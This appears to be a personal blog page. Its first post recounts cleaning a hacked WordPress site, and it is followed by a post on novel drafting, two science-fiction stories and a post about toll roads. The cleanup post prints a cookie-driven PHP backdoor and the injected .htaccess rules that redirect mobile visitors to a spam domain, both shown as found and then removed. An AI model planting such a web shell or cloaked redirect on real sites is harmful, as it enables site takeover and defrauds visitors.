Fixing a WordPress Redirect Hack

tom-the-photographer-301322

So I got a frantic call from my BFF who said, Daniel, your Science Fiction novels are so good. Can you help me fix my website? This BFF obviously knows how to preface a question, so I agreed to take a look. What I found was both confusing and arousing, and after fixing it, I said to myself, Daniel, your Science Fiction novels are so good, but you’re never going to remember how to fix this. That brings us to this blog post, wherein I tell you how to stop your WordPress website from redirecting to a shitty spam site, specifically when accessed via a mobile device.

The fact that the redirect only happens on mobile devices was quite interesting, but trying to investigate on an iPhone is pretty much impossible. Luckily, Chrome has you covered. Just hit F12 to open Developer Tools, and toggle the device toolbar (CTRL-SHIFT-M). Then you can trick the website into think you’re an iPhone and trigger the redirect. I did just that, tried to look at the network events, javascript debugger, etc., but found nothing!

The redirect was taking me to a .bid site, so I grepped for that word in the WordPress install but didn’t find it there either. A quick Google search turned up a lot of advice about looking for encoded PHP in the theme files, but they were all clean. Then I turned my attention to the uploads folder.

I found this file and couldn’t figure out what it did.

daniel@bffserver [~]# cat psvkwrmv.php.fart 
--?php 

$oewzo=$_COOKIE;
$ycke=$oewzo[zutc];
if($ycke){
 $ojaf=$ycke($oewzo[yzda]);$gpjc=$ycke($oewzo[kvyi]);$fyup=$ojaf("",$gpjc);$fyup();

I ran it through the hex, base64, and php decoders but nothing came up, so I renamed it to a harmless .fart file and moved it out of the uploads directory.

Then I found the culprit! Here are the contents of the .htaccess file in the uploads directory:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|bb\d+|meego|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge\ |maemo|midp|mmp|mobile.+firefox|netfront|opera\ m(ob|in)i|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ ce|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

You son of a bitch .htaccess file!

Sadly, whatever made those edits also touched the .htaccess files in a bunch of other directories, including the root .htaccess file that should look like this:

dverast@dougherty:~/danielverastiqui.com$ cat .htaccess

# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

If you need to find all the affected .htaccess files quickly, you can use grep:

daniel@bffserver [~]# grep -lR "luxurytds.com" .
grep: ./access-logs: No such file or directory
./www/blog/backup-1408304576-wp-admin/.htaccess
./www/blog/backup-1408304576-wp-includes/.htaccess
./www/blog/backup-1500088171-wp-admin/.htaccess
./www/blog/backup-1500088171-wp-includes/.htaccess
./www/blog/wp-content/backup-1500088171-themes/.htaccess
./www/blog/wp-content/backup-1408304576-themes/.htaccess
./www/blog/wp-content/backup-1500088171-plugins/cherry-lazy-load/.htaccess
./www/blog/wp-content/backup-1500088171-plugins/motopress-content-editor/.htaccess
./www/blog/wp-content/backup-1500088171-plugins/cherry-bgslider-plugin/.htaccess
./www/blog/wp-content/backup-1500088171-plugins/.htaccess
./www/blog/wp-content/backup-1408304576-plugins/.htaccess
./www/cgi-bin/.htaccess
./public_html/blog/backup-1408304576-wp-admin/.htaccess
./public_html/blog/backup-1408304576-wp-includes/.htaccess
./public_html/blog/backup-1500088171-wp-admin/.htaccess
./public_html/blog/backup-1500088171-wp-includes/.htaccess
./public_html/blog/wp-content/backup-1500088171-themes/.htaccess
./public_html/blog/wp-content/backup-1408304576-themes/.htaccess
./public_html/blog/wp-content/backup-1500088171-plugins/cherry-lazy-load/.htaccess
./public_html/blog/wp-content/backup-1500088171-plugins/motopress-content-editor/.htaccess
./public_html/blog/wp-content/backup-1500088171-plugins/cherry-bgslider-plugin/.htaccess
./public_html/blog/wp-content/backup-1500088171-plugins/.htaccess
./public_html/blog/wp-content/backup-1408304576-plugins/.htaccess
./public_html/cgi-bin/.htaccess

After I deleted every .htaccess file and replaced them with defaults or recommended, the site stopped redirecting. Success!

However:

 


Photo by Tom The Photographer on Unsplash

Fixing a WordPress Redirect Hack

Is It Novel Yet?

Almost as soon as I call a novel finished and ready for publication, I start on the next one. I think everyone does. And like a lot of other writers, I don’t really have a new story in mind. It’s just an idea. One of hundreds. And each one needs to be investigated to see if it contains a story. For months, a year, maybe more, I investigate each of these slivers of ideas and try to stretch them like a ball of dough into something resembling a pizza. It doesn’t always work, and sometimes it is hard to tell when I’m not good enough to write the story, if I’m just being lazy, or if there simply isn’t a story there. I try to stay pragmatic, not get too overexcited, but at some point, you just can’t deny you’ve got the beginning of a novel on your hands.

Screenshot 2017-10-19 09.48.24

In my experience and humble opinion, there is no more vital milestone than the completion of 1/3 of Draft Zero. For my books, that’s about 20 chapters at 2,000 words apiece. Everything before this moment is just the cobbling of ideas, pushing them together to see how they fit. But once you reach this point, the story takes on new life. The rules have been established. The characters are in the proper positions.

Everything is primed. The story can now write itself.

Back_to_the_future

At this stage of what I generously call my writing career, I can write 2,000 words on anything. Any story. Any idea. You want 2,000 words? Give me a couple hours. Or give me Red Bull and candy if you need it sooner. The fiction I post on this blog are examples of this daily “scratch writing,” which I do after a novel to find the next one.

It’s harder to stretch an idea to 10,000 words. If really pressed, by sheer force of will, I could do 20,000. The number of ideas that live past 20,000 are shockingly low. As I mentioned, it could just be that I’m lazy or not skilled enough to stretch the story, but to keep my ego on life-support, I tell myself there just wasn’t a story there.

It’s a cruel game sometimes. You think you have something. You write several chapters, and then it just fizzles out. Or you try and try but just can’t hit that sweet spot. Because really, it’s not just about getting to 20 chapters; it’s also about properly positioning the people, settings, technology, and conflicts.

I’ve gotten ideas to 1/3 of Draft Zero exactly four times in the past. All four became novels.

How’s that for a jinx?

So that’s why I’m excited today. That’s why I’m posting this nonsense on my blog, even though it is likely of little interest to anyone else. I, on the other hand, love to learn about how other writers do it.

So for those of you who write: how do you know when you’ve got a novel?

Is It Novel Yet?

Johnny’s Loop

sam-beasley-327822When he was fifteen years old, Johnny San Vito logged into a military-sponsored, virtual reality BBS using his dad’s account and threatened to beat the shit out of an Airman who went by the ultra-cool handle Raw Dawg. I was right there along with him too, using my dad’s account, but to this day I’m ninety percent sure it was Johnny who started the whole mess. And when Raw Dawg went crying to his superiors, it was our dads who got called in for disciplinary meetings. I don’t know how or if Johnny ever got punished for getting his dad in trouble, but I had my immersion rig taken away for three months.

I was so pissed at Johnny that first month offline. In the second month, I turned that anger towards myself, and finally, as my punishment came to an end, I seethed with rage at Raw Dawg for being a little bitch.

Ultimately, it was our stupidity that got us in trouble. We thought because we were using our dads’ accounts that we were anonymous, when in fact, it was quite the opposite. Not only were our dads’ names attached to the accounts, but since we were on a military base, it was trivial to find them if someone lodged a complaint. We realized that we’d taken a shortcut in getting access to the BBS, and that the next time we threatened to kick someone’s ass, we’d do it behind the veil of true anonymity.

That was the second stupidest thing we (but mostly Johnny) had ever done. The topper was Johnny actually creating a true Dead Man’s Loop, or DML, a program that would automatically delete all of his personal files and transfer his assets to a specified target, which turned out to be me. The loop could only be triggered by Johnny’s death, since it relied on the biochip embedded in his neck. If an hourly ping went unanswered for twenty-four intervals, the code—distributed throughout VNet and various darknet servers—would activate.

Johnny had always been fascinated with the idea of a Dead Man’s Loop even when we were kids, though I bet he never though he’d actually use it. The topic first came up a year after the Raw Dawg incident, when we stumbled upon the number for an 18+ BBS that had a sizable stash of VR porn shot in first person and with 360-degree head tracking. It lacked much of the sensory input that would come later with the higher bandwidth of the Net, but at the time, it was better than swiping through Victoria’s Secret ads on our palettes. For a time there, we spent most of our night in those simulations—separately, of course—marveling at the naked women who stared into the camera, into our eyes, with a lust we had never seen in real life before.

It became necessary to hide all that porn; after all, they weren’t magazines to be hidden under my mattress. And in a pinch, we needed to be able to dump the incriminating evidence directly into the ether. Overwrite the bits. Zero everything out.

We worked together on the first iterations of the DML, which at the time were simply triggered by a duress password. If our parents ever asked us for the password, we could just give them a special passphrase like tacotime92 and the computer would know to dump all the data in /home/danny/jubs. It wasn’t until we got older and started messing around with a tougher crowd that we began discussing what would happen if we actually died.

I don’t remember ever reaching an agreement on the subject. My intention was to dump every piece of data I had into a sea of cleansing zeroes and leave all of my money to my wife. The wife never materialized, and for the last decade my accounts have been payable on death to my mom. Moving the money to someone else, that I understood. If it went unclaimed, it would just end up in the hands of the government to be spent on building the border wall with the MX. But the data, all my documents, photos, music, and yes, pornography… that wasn’t meant for anyone else.

Evidently, Johnny San Vito considered all of his data to be of vital importance. I knew this because when the Dead Man’s Loop triggered while I was in bed with Jane, it dumped a lifetime of happy hackery directly into my Syzygy biochip.

I remembered holding Jane, kissing her lips, smelling her faint perfume, when everything just went white. The Syzygy does so much to regulate everyday functions that when it gets overloaded—which is rare—it shuts down all non-essential functions. The problem with Johnny dumping his entire databank into my biochip is that the Syzygy was never designed to hold that much information. When the data started coming in, the biochip tried offloading it to a secondary host, which meant bandwidth in both directions went to 100-percent utilization.

A denial service attack on my biochip. Only Johnny would accidentally invent something like that. Perhaps if he knew how much pain—true, physical pain—it would cause, he would have left me out of it, or better still, dumped the data to a respository and simply sent me a username and password.

As it happened, I writhed on the floor for a good ten minutes, gritting my teeth against the pain in my head and blubbering like a lost child. I wasn’t embarrassed to be crying in front of Jane; whether she judged me or not, she would never say anything openly about it. It wasn’t unprecedented for me to shed tears at pain; I’d hurt my back a few years before and to date, that had been the most painful thing I experienced.

But this.

This was pain from another layer of reality, and the only way through it was to wait until enough data had been offloaded so it could resume its normal functions. I did have the option of cutting it off completely, but at the cost of all the data living in RAM. No, my only choice was to weather the storm and hope I didn’t go insane from the flashes of photos and text popping in from the periphery.

It took Jane some time to realize I wasn’t crying because Johnny was dead—or supposedly dead, at any rate. Once she did, however, she switched roles from counselor to nurse.

“Are you alright?” she asked, placing her hand on my forehead. She was kneeling beside me at the foot of the bed. The lights were low but I could see her face plainly, see the concern in her eyes. “Should I call someone?” She reached for my left arm, for the sliver embedded in my wrist.

“No,” I said, taking her hand instead. The Syzygy drove the sliver anyway, so there was no guarantee she would be able to use it to call for help. And it didn’t matter; there was nothing a standard hospital could do for me. If we were in Umbra surrounded by gray market butchers then maybe. But here in Vail where the rich and powerful owned million-dollar homes they only used two weeks out of the year? No way.

“Your forehead’s on fire. Let me get you something.” Jane ran to the bathroom, grabbed a washcloth from the shelves by the shower, and then held it under the faucet.

I felt my eyes wander over her body, which was good because it meant some of my normal functions were coming back, but the moment was short-lived. I couldn’t even appreciate her naked form as it hurried through the darkened cabin to my side.

The cold cloth barely made a dent; there was nothing but heat all around me.

“How do you know your friend is dead?” she asked.

“What?”

“Johnny. You said he was dead.”

I shook my head, felt needles prick my neck. “I don’t know if he’s dead.”

It always felt hollow explaining technical things to Jane. As I laid out the details of the Dead Man’s Loop in simple terminology, she remained engaged and even nodded every once in a while. But at her core, I knew none of the information was sticking. And I wouldn’t have expected it to. Her interest in computers and technology was superficial, an add-on feature chosen via a check-box on a web form.

“Maybe it was an accident?” she suggested. “Like, he was just cleaning it and it went off in his hands.”

“Maybe,” I replied. “Maybe. Could you—” I paused as a hot needle passed through my eyes—first one, then the other. “Could you grab my palette from the bar?”

She got up without replying, grabbing her Spurs shirt on the way to the kitchen. I rolled onto my stomach and sat back against the bed.

So much data.

Every time I closed my eyes, I saw more if it streaming past me like the Millennium Falcon jumping to hyperspace, only these weren’t stars but rather complex equations cycling through letters and numbers, trying to find a sequence that made sense. The Syzygy’s on-the-fly decryption couldn’t keep up with the incoming stream, and it looked like there were some batches of data that it couldn’t even touch. Others were simpler though, bits of meta attached to files and photos, with names that were almost recognizable as words, except that they flew by too quickly, deforming at the speed of light.

Jane returned with the palette and handed it to me. She sat down on the bed, placing a hand on my shoulder.

“At least you can sit up,” she said.

I nodded, unable to unclench my jaw to speak. The palette woke at my touch and presented a grid of applications. I brought up an app I’d put together to manage my personal servers—most of them were in-house, with redundant backups buried beneath the foundation of the cabin. A select few were located offsite in a darknet, protected by firewalls and honeypots and generally inaccessible to all but the most elite hackers.

My first task was to follow my biochip’s lead and cut all non-essential programs—anything that would eat CPU or fill up the pipe. I shut down a farm of VMs that were running integration tests for Lucas Cotton’s MESH project. It would be a pain in the ass to restart all the tests, but I didn’t really have a choice. I took the house offline as well, shut down transcoding services that were pulling movies from supposedly secure servers owned by Paramount, Lion’s Gate, and the newly reborn New Line Cinema. Every feed aggregator and parser in my arsenal went silent, and the cabin followed suit.

Upstairs, the fans on my suite of video cards slowed to an inaudible hum, bringing a quiet to the cabin that even Jane noticed.

She looked up, as if suddenly aware of the world again. I wanted to tell her what was happening, but at that moment, it was if someone had pulled the plug in the bathtub of my agony. I felt the data seep out, faster and faster, as the Syzygy used the full breadth of available bandwidth to chunk out the dump to local servers. I leaned my head back, felt Jane’s hand on my forehead.

“Better now?” she asked.

“Getting there.” And it was true. With every terabyte the Syzygy offloaded, its utilization fell by a small fraction. “Just give me a few minutes.”

“Sure,” she replied. “You want some water?”

“Please.”

Jane pushed herself off the bed and walked to the lower dresser separating the bedroom from the living room. She opened her drawer, and after rifling through the contents for a minute, extracted a sheer pair of black underwear.

“That Johnny,” she said, her tone suggesting she actually knew my friend personally and not just through my stories. “It’s just like him to interrupt us at the worst time, right? I mean, you could have been watching TV or playing a video game. For the last six months, you’ve sat here alone with your toys.”

She paused as her head disappeared into the fridge.

“But no, he waits ’til I get here, waits ’til we’re in the throes of passion, and then gives you the headache to end all headaches. Some friend.”

I took the water bottle when she held it out to me and ripped the cap off. Between sips, I told her, “Johnny’s more than a friend. He saved my life. I saved his. We did time together, did you know that?”

Jane shook her head.

“Folsom Minimum Security in 2007. We got jumped by a group of former MX soldados that had overflowed from Max. Neither of us were great fighters, but we stuck together and came out of it on the other side.” I laughed. “I remember Johnny saying to me, and it was funny because he had a mouth full of gauze, but he said we’re connected now… brothers. He said it like we hadn’t been friends since junior high.”

The Syzygy snapped back online. According to a monitor app on my palette, it had reduced the data dump’s memory footprint to a manageable size. Most of the data had been offloaded, and now the biochip was going line-by-line trying to decrypt the data. I adjusted a few sliders to kill the decryption process and focused energy on managing my body.

It wasn’t as if the Syzygy wasn’t up for the job, but a decryption task as big as this one needed a proper environment, like a self-contained construct in VR where the server and my immersion rig could double-team the data.

The headache began to subside, only to replaced by intense fatigue. I climbed up the foot of the bed, and Jane followed me back to the pillows. She pulled the covers over me as I stretched out, my forehead still covered in sweat.

“Good,” she said, patting me on the chest. “You need some rest.”

“I just need to send a quick message.”

The sliver in my wrist had come back online, and I noticed there were no keyword alerts for Johnny San Vito—a search I’d had running for nearly a decade now, just so I could always keep tabs on him. Johnny didn’t always share the details on every job he took; sometimes I learned about a new hack from the feeds, and it would only be later in a protected construct that I would get the full story.

I used the quick keys to compose a simple message to Johnny.

What the fuck?

It disappeared into the ether, and I used the same arm to reach above my head for the box full of code cards. Jane snagged it before I could.

“What do you want?”

“Vanilla Sky.”

She shuffled to the back of the box and examined the labels on the cards. Finally, she pulled out a sleek silver card with a wisp of light pearl running its length.

“Turn your head.”

I did as I was told, turning my gaze to the clear walls of the bathroom and the serene forest beyond. Snow fell in the moonlight, as it had all winter, and the world turned, as it had for all of human history.

Jane pressed the card to the back of my neck, initiating a wireless transfer of synth code directly into the Syzygy. Vanilla Sky was a cocktail of synthetic sleep aides that came on quickly but softly. Within a few blinks, I would be asleep.

I turned back to her, watched her climb beneath the sheets before pressing the card to the back of her neck. She smiled at me, mouthed the words, “Sweet dreams.”

The cabin began to fall away, but a light buzzing in my wrist kept me from going over the edge into sleep. I lifted my arm, hoping to see a message from Johnny.

What the fuck? asked my sliver.

It was my own message. Not bounced, not returned. It was forwarded.

Vanilla Sky pulled me down, but not before I understood the gravity of the situation. The messaging service wasn’t some random account Johnny owned; it was tied to his core identity and hidden from most of the world. It was the way he communicated with his best friends and most treasured contacts.

It was a basic part of Johnny.

He could do without his data for a couple of hours, and the money could be easily returned, but if he was still alive, he wouldn’t have waited for me to return his messaging account.

He would have taken it back.

What the fuck indeed.


Photo by Sam Beasley on Unsplash

Johnny’s Loop

Applied Harmonics

glen-carrie-66914To understand the scope of Applied Harmonics’ work, you have to look at the startup scene in Austin, Texas around the mid-90’s, back before the scene itself had a name. Around that time, Austin was seeing an influx of Californian money, most of it by way of rich West Coasters who fled the high cost of living for the laid back, BBQ and beer lifestyle of the Live Music Capital of the World. They took the foundations of Silicon Valley and started rebuilding it here.

Austin never achieved Silicon Valley 2 status, but we did have our share of success. Dell, which sold personal computing devices to the common man, began its life just up the road from us. The city attracted giants like Borland, SolarWinds, and Tivoli Software. AMD, Intel, and Samsung had a huge semiconductor presence as well. Couple all of this technology with the University of Texas, and you’ve got a city ripe for cutting-edge theoretical research.

Applied Harmonics (abbreviated AHI thanks to a tacked-on “Inc.”), started as a thesis project by a UT student named Arthur Rubens. One of the major shortcomings of string theory at the time was that it didn’t explain particle behavior in all circumstances. In terms of gravity, the model behaved one way. In terms of space-time, there were gaps that just couldn’t be explained. Rubens, in his own words, stumbled upon a unified string theory after a night of heavy drinking during which he overwrote his boson equations with fermion equations on the same whiteboard.

History was never the same. Our history, anyway. Evidently, you people can create technological wonders that boggle the mind, but string theory is a bridge too far.

I don’t pretend to know anything about string theory, though perhaps if I did, I could return home a la Sam Beckett. All I know is that in the fall of 2016, Rubens and his team had a breakthrough, which would ultimately lead to the destruction of countless universes.

A little about November 2016. Life as an American in my world was about separating the micro from the macro. Our media companies weren’t as pervasive (and invasive) as yours, but they were no less harmful. Owned by rich, entitled white dudes who themselves were owned by political parties and larger companies, skewed the news to push whatever agenda they deemed most profitable. And when they had the opportunity to keep a self-proclaimed bigot and sexual predator from being elected president, they failed miserably. Protests, hate-crimes, and general anxiety pervaded the landscape.

For most of us, we kept watch on things closer to home: our family, our friends, our cozy little job and cozy little car. I was never the protesting type, nor was I someone who believed a president could do much of anything except drag us into another recession, for which my positions were prepared anyway.

All of this is to say that no one was really paying attention to the things that mattered: science, technology, medical developments, etc. They were too focused on a buffoon demanding security clearance for his children, as if his nepotism was a surprise to anyone.

That year, I’d been married to Maisie for about five years, and had worked at AHI for more than ten. My focus had been on her, on our attempts to start a family, and our never-ending quest to lose weight. At work, Monroe and I kept busy writing scripts to parse the massive amounts of data Rubens was pulling in from what he called other “shades” of universes. These shades had to be compared to ours on the atomic level, which meant our best computers (tinker toys compared to yours) needed to be told how to make that comparison.

Monroe had only been with the company about four years. He’d replaced a sharp guy named Han who quit to move back to Korea to take advantage of their burgeoning tech scene (of which I was completely unaware). Monroe and I became fast friends, mostly due to our hatred of Austin drivers and mutual love of the Dallas Cowboys football team. That year, they had been on a hot streak behind two new rookies, which meant Monroe and I would spend most of Monday reliving the highlights from the previous day’s play.

A little about Monroe. He’s the coolest black dude I’ve ever met, and though he prides himself in being a bad-ass mother who don’t take no crap off of nobody, he looks like a strong gust of wind might carry him off at any moment. I guess that’s why he wears his gold chains, to weigh him down. None of that matters though, because Monroe always has a smile for everyone. He’s a genuinely nice guy in front of the suits.

But in the lab? When the doors are closed? He’s just as depraved as the rest of us.

It was Monday, November 14, if I recall correctly. The week before Thanksgiving. Maisie and I had been dreading the holidays since both of our families were getting a little too pushy with their demands of grandchildren. The Cowboys had just pulled off an insane back-and-forth victory against the Pittsburgh Steelers and I couldn’t wait for Monroe to get in.

It was after nine before he finally rolled in complaining about the traffic.

“She saw me put my blinker on,” he said, dropping his backpack onto his desk, “and she sped up anyway. What the hell is wrong with people?”

“At least the Cowboys won,” I replied.

“Hells yes!” Monroe leaned over for a high five. “My man Zeke is killin’ it!”

I won’t bore you with the specifics of the conversation, but suffice it to say it ended with us agreeing that Jason Witten was the best thing since sliced bread. By the time we’d watched all the replays and discussed the playoff picture, it was close to ten.

“I’m gonna get some coffee before the data pushes,” he announced. “You want anything?”

“I’m good,” I told him, turning my attention back to my computer. I had a bunch of browser tabs open to various sport sites, so after one more replay of Ezekiel Elliot slicing through the Steeler defense, I closed the entire browser and launched SecureCRT.

Buried deep under the rolling Lakewood hills, AHI’s server cluster churned in the LED twilight. Environmental systems kept the cavernous data center at a brisk 64 degrees. The racks were protected by steel cages, and only a small team of engineers were allowed physical access. Everyone else had to go through multi-factor authentication to get command-line access.

I typed in my various passwords, consulted my keyfob a few times, and eventually got access to Pylon 18, which was due for a data push at exactly 1000 hours.

When I joined the company in 2006, Rubens and company were running tests manually, compiling the data by hand, and then offloading it to the software devs for analysis. Ten years later, the tests were all automated, and ran 24/7 but favored the evening hours when electricity was cheaper. Sometimes, Monroe and I could hear the Tuner in the next room popping on and off as it pushed particles from our universe into the infinite void.

They came back changed, and it was up to us to figure out exactly how.

Pylon 18 was running slower than usual that morning, though “top” didn’t show anything out of the ordinary. I finally figured out it was the disks. Despite having SSDs in a RAID array, the network throughput was overwhelming the file system, slowing down the entire server. I changed into the newest directory and watched a tar.gz file grow with every refresh.

Tests typically generated between 6 to 8 gigabytes of data per Pylon, but the archive file I was watching was already well over three hundred gigs. At five hundred it split (what developer saw that scenario coming?) and began writing a new file.

By the time Monroe returned with his coffee, Pylon 18 had sixteen archives, comprising just over 7.3 terabytes of data.

“Sweet Lady Gaga,” said Monroe, as an alert flashed on his screen. “You seeing this? Pylon 17 just absorbed an 8 terabyte dump. I didn’t know it could take a punch like that.”

“Yeah,” I told him. “18 just got the same. What the hell happened overnight?”

Monroe had no idea, and there was nothing in the logs, but as we began to comb through the data, certain anomalies began to emerge. We shared the same general library of scripts, but Monroe and I were always trying to outdo each other when it came to making a discovery. I ran my scripts, setting off a dozen of them in unison now that the server was running faster.

“Offset,” said Monroe.

I tabbed through my screen session until I found the offset script. It was generating a rudimentary scatter plot with standard deviations showing all of the harmonic offsets from previous tests.

Harmonic offsets aren’t hard to understand if you think of them in terms of piano keys. In the middle of the keyboard, A is defined at 440 Hz. One half-step up is B-flat at 466.2 Hz. Think of the keys as universes. A tone in universe A vibrates at 440 times per second. In universe B-flat, it vibrates at 466.2 times per second. If you could reach into a grand piano and deform the string, you could push the A key into the B-flat range.

That’s essentially what the Tuner does. It deforms the harmonic frequency of matter, pushing it from our dimension to another.

“Someone keyed this in wrong,” said Monroe. “I thought offsets were supposed to be plus ones.”

We’d figure this all out later, but what we were seeing at the time was a scatter plot of harmonic offsets between 1 and 1,000. On the very left of the graph, as an obvious outlier, was the offset from the previous night’s test.

“That’s…” I had to pause to do the math, but I wanted to start talking before Monroe shouted out the answer. “Two by ten to negative sixteenth power. That’s almost nothing.”

If it helps, you can think of a tiny–nearly microscopic–key between the A and B-flat key on the piano. You can’t see it, and God only knows how you’d press it, but it does produce a tone that is distinct–at some level–from the A.

I looked over at Monroe; he was staring back at me, some kind of freakish smile on his face.

“I want to send the email,” he said.

“We don’t even know what we have yet,” I reminded him. “Just because someone fat-fingered the offset doesn’t mean the experiment worked. It could just be an anomaly.”

Monroe stood and walked to the interior window. He stared at the Tuner in the other room.

“No, it’s not an anomaly. It’s like just like I said. The offset was too high. They were pushing too far too fast.”

That got me laughing. “Like you knew.”

“I’m the smartest motherfucker you know, and I saw this shit coming a mile away. White people and their manifest destiny mindsets can’t settle for anything less than a grand slam. But you know what, man? Sometimes a single is all you need. Bunt that shit, and go from there.”

“We should really wait for the scripts to run. Let the computers tell us if there’s anything worth passing on to the suits.”

Monroe shook his head. “Thirty-six Pylons. Six to eight terabytes each. Two hundred and fifty terabytes total. That’s gonna put us into overtime. What are we gonna tell them when their results don’t show up in their inboxes at COB?”

He had a point. If Rubens had truly broken through to a new dimension, it wasn’t something we wanted to sit on. The prospect of raising a false alarm was nil in the face of the greatest discovery our universe had ever known.

“Let’s see where we are in a couple hours,” I said. “If anything looks promising, you can send out the email.”

“Fuck yes. I’m gonna bring the other Pylons online.”

I left him to his work and started thinking about the day to come. I’d been too excited from the football game the day before to get any real sleep, which meant I hadn’t worked out in the morning like I’d wanted to. My body was tired and already achy.

Sensing a late night, I texted Maisie to let her know she might be on her own for dinner tonight. She wrote back that if I ordered food in, I should get something healthy. I sent her an emoji of pizza and fried chicken.

“The Monroe-Ortega Offset,” muttered Monroe. “Discovery of the century.”

I backed out of the conversation with Maisie and found the thread with Elena below it. I asked her if Angel had watched the game yesterday and whether she finally understood why men loved Jason Witten. She wrote back and implied that I was a homosexual.

On the screen, output from my scripts scrolled in thin columns.


Photo by Glen Carrie on Unsplash

Applied Harmonics

Tollway Therapy

Texas Tollway 130

$200. That’s how much I pay in tolls in an average month. $200. That’s how much I would pay per hour for a therapist with my insurance. We’ll come back to these figures later.

There was a time in my life when driving made me extremely angry. Whether it was the slow-pokes in the left lane or the stop-signs-don’t-apply-to-me people, everything everyone did made me throw up my hands and scream. Drivers shouldn’t do that unless you have Lane Keep Assist or a Tesla. My driving motto at the time was I hate you and I hate the way you drive. It got to the point where I didn’t want to drive at all. I tried listening to classical music. I tried to make excuses for other drivers. None of it worked.

Anger became the norm, and I just lived with it.

2017-08-15 14.17.36-2

Then, the other day, I realized that my anger and hatred of other drivers had dulled considerably. Not gone away, mind you, just dulled. Suddenly I couldn’t remember the last time I got really angry in traffic. I started to rack my brain to figure out what had changed. How long ago was my last rage-fueled steering wheel slapping incident?

The answer? Two and a half years ago, right before we moved into the new house. You see, the new house changed my route to work. Instead of driving down surface streets, I now take 45 and MoPac (which is part toll as well). Once I leave my neighborhood, I don’t hit another stoplight until Gateway Plaza on the other side of the city from where I live.

All of this means there is relatively low traffic on a majority of my route. Sure, there are still people who want to go 55 in the fast lane of a 75 zone, but there are plenty of empty lanes on the tollways and it’s easy to get around them.

I didn’t realize how great I had it until last week when I had to go out of my way to gas up my car because Austinites thought the world was coming to an end. The detour required me to drive surface streets back to my house and deal with slow drivers, possibly drunk drivers, buses, construction, last-minute lane changers, stop lights, confusing four-way stops, bicyclists who just don’t give a damn, and so on and so on.

All of the anger came back. All of it.

Over the last couple of years, the topic of reducing our reliance on toll roads has come up as a way to save some money. After last week’s experience, I think it’s pretty clear it’s a wash.

Either I spend $200 a month on tolls, or I spend $200 an hour on therapy.

It’s a no-brainer.

Tollway Therapy